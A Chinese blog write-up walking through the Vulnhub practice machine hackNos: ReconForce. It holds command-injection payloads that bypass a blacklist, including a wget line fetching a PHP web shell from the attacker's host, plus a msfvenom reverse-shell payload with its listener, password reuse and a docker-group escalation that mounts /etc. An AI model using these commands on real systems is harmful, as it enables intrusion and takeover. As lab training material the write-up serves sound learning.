Vulnhub靶机之ReconForce01


靶机信息

hackNos: ReconForce

  • Name: hackNos: ReconForce
  • Date release: 11 Jan 2020

Difficulty: Easy to Intermediate

Flag: 2 Flag first user And the second root

Learning: Web Application | Enumeration | Privilege Escalation

使用VirtualBox打开并配置网络模式为:host-only

信息搜集

通过本机网络配置确定靶机位于网断:192.168.56.0/24

使用nmap扫描,发现主机ip。

nmap -sS -O -v 192.168.56.0/24

Nmap scan report for 192.168.56.103
Host is up (0.00069s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:02:41:02 (Oracle VirtualBox virtual NIC)

扫描端口信息:

➜ nmap -sT -A 192.168.56.103
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-04 22:02 CST
Nmap scan report for 192.168.56.103
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6f:96:94:65:72:80:08:93:23:90:20:bc:76:df:b8:ec (RSA)
|   256 6f:bb:49:1a:a9:b6:e5:00:84:19:a0:e4:2b:c4:57:c4 (ECDSA)
|_  256 ce:3d:94:05:f4:a6:82:c4:7f:3f:ba:37:1d:f6:23:b0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Recon_Web
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

得知开放21,22,80端口。

80端口有web服务,ftp服务允许匿名访问。

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass

拿dirsearch扫一下网站目录,结构如下:

Target: http://192.168.56.103
/css
/index.html
/5ecure            #需认证

index页面比较简洁,除了链接到/5ecure目录到按钮外其他链接均指向其他站点。

漏洞挖掘

尝试匿名登陆ftp,但是ftp目录下空空如也,没啥有用的文件。

➜ ftp 192.168.56.103
Connected to 192.168.56.103.
220 "Secure@hackNos".
Name (192.168.56.103:lanvnal): Anonymous
331 Please specify the password.
Password:
230 Login successful.

ftp这边没得到啥有用信息那就去看看web服务吧。

http://192.168.56.103/5ecure/有个基础认证,应该是切入点。

尝试了常用弱口令,hackNos,ReconForce,Secure等都没有成功。

总不能爆破吧….在这卡了好久,去翻index链接的博客,发现了一篇WP,提供了思路。

I go to ftp login and connecting with ftp username and ftp password and ls command to see target directory and the target directory is empty and we see the target ftp banner Security@hackNos

ftp登陆的banner是基础认证密码,用户为admin。
但是banner是:Secure@hackNos,并不能成功登陆,试了博客中的Security@hackNos就正确了。
不知道是靶机错误还是我没get到。

登陆后:
该页面可以实现ping功能并返回结果。Fuzz后发现存在过滤。使用连接可以执行命令。

可以执行命令
aaa|pwd

可以写文件

aaa|echo test>test

但是有过滤,没法直接写shell。

cat命令查看out.php代码,发现黑名单过滤

有过滤:
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

发现wget命令可用,遂使用wget下载shell到靶机。

a|wget 192.168.56.1:3333/shell.php

因为有认证,将shell移动到上级目录,使用蚁剑连接。

在/home/recon/user.txt 中发现第一枚flag

MD5HASH: bae11ce4f67af91fa58576c1da2aad4b

提权

先搜集系统信息

www-data:/var/www/recon) $ uname -a
Linux hacknos 5.3.0-24-generic #26-Ubuntu SMP Thu Nov 14 01:33:18 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

不适用Ubuntu的内核漏洞提权。

为了方便后续提权操作,使用msf来获取稳定meterpreter shellshell。使用msfvenom生成系统对应的meterpreter shell后通过蚁剑上传,更改权限,本地设置监听后执行。

./msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=6666  -f elf -o /Users/lanvnal/Files/Vulnhub/ReconForce-01/shell.elf

msf设置监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set LHOST 192.168.56.1
LHOST => 192.168.56.1

上传LinEnum来搜集信息。获取到如下有价值的信息。

[-] Users that have previously logged onto the system:
Username         Port     From             Latest
recon            pts/0    192.168.0.104    Fri Jan 10 23:05:02 +0000 2020

[-] It looks like we have some admin users:
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm)
uid=1000(recon) gid=119(docker) groups=119(docker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lxd)

[+] Looks like we're hosting Docker:
Docker version 19.03.2, build 6a30dfca03

通过搜集到的信息,并没有可以用来SUID提权的合适应用。

发现了近期登陆用户recon,而且属于sudo组。只要知道recon密码就成了~

尝试下最开始的密码Security@hackNos结果直接就切换到了recon用户。。。

试了一下用户recon可以ssh登陆。

直接sudo

sudo su切换到root用户。获取flag

root@hacknos:~# cat root.txt
     $$\          $$$$$$$\
     \$$\         $$  __$$\
$$$$\ \$$\        $$ |  $$ | $$$$$$\   $$$$$$$\  $$$$$$\  $$$$$$$\
\____| \$$\       $$$$$$$  |$$  __$$\ $$  _____|$$  __$$\ $$  __$$\
$$$$\  $$  |      $$  __$$< $$$$$$$$ |$$ /      $$ /  $$ |$$ |  $$ |
\____|$$  /       $$ |  $$ |$$   ____|$$ |      $$ |  $$ |$$ |  $$ |
     $$  /        $$ |  $$ |\$$$$$$$\ \$$$$$$$\ \$$$$$$  |$$ |  $$ |
     \__/         \__|  \__| \_______| \_______| \______/ \__|  \__|




MD5HASH: bae11ce4f67af91fa58576c1da2aad4b

Author: Rahul Gehlaut

WebBlog: www.hackNos.com

Twitter: @rahul_gehlaut

docker提权

上面还运行着docker服务,尝试使用docker进行提权。

上传镜像和dockerfile。

构建镜像:

docker build -t alpine:3.11 .
Sending build context to Docker daemon  2.726MB
Step 1/3 : FROM scratch
 --->
Step 2/3 : ADD alpine-minirootfs-3.11.3-x86_64.tar.gz /
 ---> 7e80960be23b
Step 3/3 : CMD ["/bin/sh"]
 ---> Running in 4e1cfbba3f17
Removing intermediate container 4e1cfbba3f17
 ---> dd3aa746c7fc
Successfully built dd3aa746c7fc
Successfully tagged alpine:3.11

创建docker,同时挂载目录

docker run -it --rm -v /etc:/etc alpine:3.11 /bin/sh
创建用户
adduser test
添加到sudo组
usermod -aG sudo test
或
adduser test sudo

退出docker,切换用户,执行sudo.

test@hacknos:/var/www/docker$ sudo su
[sudo] password for test:
\root@hacknos:/var/www/docker# ls /root
root.txt  snap

参考:

https://www.freebuf.com/articles/system/170783.html


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录